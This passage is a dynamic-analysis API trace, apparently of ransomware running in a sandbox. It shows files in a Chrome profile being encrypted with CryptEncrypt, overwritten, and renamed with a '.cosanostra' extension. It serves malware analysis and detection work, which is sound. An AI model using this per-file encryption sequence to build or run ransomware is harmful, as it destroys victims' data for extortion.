lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df42c*=0x10, lpOverlapped=0x0) returned 1 [0104.911] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.911] WriteFile (in: hFile=0x180, lpBuffer=0x28df46c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x28df46c*, lpNumberOfBytesWritten=0x28df42c*=0x4, lpOverlapped=0x0) returned 1 [0104.911] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df42c*=0x30, lpOverlapped=0x0) returned 1 [0104.911] CloseHandle (hObject=0x180) returned 1 [0104.912] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.cosanostra") returned 155 [0104.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current.cosanostra")) returned 1 [0104.913] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df468 | out: pbBuffer=0x28df468) returned 1 [0104.913] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df460*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df460*=0x30) returned 1 [0104.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.913] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log") returned 147 [0104.913] StrStrW (lpFirst="000003.log", lpSrch=".txt") returned 0x0 [0104.913] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.913] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df424*=0x0, lpOverlapped=0x0) returned 1 [0104.913] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.913] WriteFile (in: hFile=0x180, lpBuffer=0x28df464*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x28df464*, lpNumberOfBytesWritten=0x28df424*=0x4, lpOverlapped=0x0) returned 1 [0104.915] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df424*=0x30, lpOverlapped=0x0) returned 1 [0104.915] CloseHandle (hObject=0x180) returned 1 [0104.916] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.cosanostra") returned 158 [0104.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.cosanostra")) returned 1 [0104.916] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df468 | out: pbBuffer=0x28df468) returned 1 [0104.916] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df460*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df460*=0x30) returned 1 [0104.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.917] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 91 [0104.917] StrStrW (lpFirst="Preferences", lpSrch=".txt") returned 0x0 [0104.962] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe563, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.962] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1a9d, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df424*=0x1a9d, lpOverlapped=0x0) returned 1 [0104.963] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.963] WriteFile (in: hFile=0x180, lpBuffer=0x28df464*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x28df464*, lpNumberOfBytesWritten=0x28df424*=0x4, lpOverlapped=0x0) returned 1 [0104.963] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df424, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df424*=0x30, lpOverlapped=0x0) returned 1 [0104.963] CloseHandle (hObject=0x180) returned 1 [0104.963] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.cosanostra") returned 102 [0104.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences.cosanostra")) returned 1 [0104.968] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df458 | out: pbBuffer=0x28df458) returned 1 [0104.969] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df450*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df450*=0x30) returned 1 [0104.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.994] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json") returned 167 [0104.994] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.074] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df414, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df414*=0x2800, lpOverlapped=0x0) returned 1 [0105.075] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.075] WriteFile (in: hFile=0x180, lpBuffer=0x28df454*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df414, lpOverlapped=0x0 | out: lpBuffer=0x28df454*, lpNumberOfBytesWritten=0x28df414*=0x4, lpOverlapped=0x0) returned 1 [0105.081] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df414, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df414*=0x30, lpOverlapped=0x0) returned 1 [0105.081] CloseHandle (hObject=0x180) returned 1 [0105.081] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json.cosanostra") returned 178 [0105.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0105.111] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df450 | out: pbBuffer=0x28df450) returned 1 [0105.111] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df448*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df448*=0x30) returned 1 [0105.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0105.112] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json") returned 164 [0105.112] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.114] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.114] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df40c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df40c*=0x2800, lpOverlapped=0x0) returned 1 [0105.115] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.115] WriteFile (in: hFile=0x180, lpBuffer=0x28df44c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df40c, lpOverlapped=0x0 | out: lpBuffer=0x28df44c*, lpNumberOfBytesWritten=0x28df40c*=0x4, lpOverlapped=0x0) returned 1 [0105.115] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df40c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df40c*=0x30, lpOverlapped=0x0) returned 1 [0105.115] CloseHandle (hObject=0x180) returned 1 [0105.115] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.cosanostra") returned 175 [0105.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.cosanostra")) returned 1 [0105.118] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df448 | out: pbBuffer=0x28df448) returned 1 [0105.118] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df440*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df440*=0x30) returned 1 [0105.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0105.119] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json") returned 164 [0105.119] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.148] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.148] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df404, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df404*=0x2800, lpOverlapped=0x0) returned 1 [0105.148] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.148] WriteFile (in: hFile=0x180, lpBuffer=0x28df444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df404, lpOverlapped=0x0 | out: lpBuffer=0x28df444*, lpNumberOfBytesWritten=0x28df404*=0x4, lpOverlapped=0x0) returned 1 [0105.186] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df404, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df404*=0x30, lpOverlapped=0x0) returned 1 [0105.187] CloseHandle (hObject=0x180) returned 1 [0105.187] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.cosanostra") returned 175 [0105.187] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0105.256] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df440 | out: pbBuffer=0x28df440) returned 1 [0105.256] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df438*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df438*=0x30) returned 1 [0105.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0105.257] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json") returned 164 [0105.257] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.284] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.284] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3fc*=0x2800, lpOverlapped=0x0) returned 1 [0105.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.605] WriteFile (in: hFile=0x180, lpBuffer=0x28df43c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3fc, lpOverlapped=0x0 | out: lpBuffer=0x28df43c*, lpNumberOfBytesWritten=0x28df3fc*=0x4, lpOverlapped=0x0) returned 1 [0105.605] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3fc*=0x30, lpOverlapped=0x0) returned 1 [0105.606] CloseHandle (hObject=0x180) returned 1 [0105.606] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.cosanostra") returned 175 [0105.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0105.638] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df438 | out: pbBuffer=0x28df438) returned 1 [0105.638] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df430*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df430*=0x30) returned 1 [0105.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0105.639] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json") returned 164 [0105.639] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.787] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.788] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3f4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df3f4*=0x2800, lpOverlapped=0x0) returned 1 [0105.788] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.788] WriteFile (in: hFile=0x180, lpBuffer=0x28df434*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3f4, lpOverlapped=0x0 | out: lpBuffer=0x28df434*, lpNumberOfBytesWritten=0x28df3f4*=0x4, lpOverlapped=0x0) returned 1 [0106.476] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3f4*=0x30, lpOverlapped=0x0) returned 1 [0106.476] CloseHandle (hObject=0x180) returned 1 [0106.680] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.cosanostra") returned 175 [0106.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 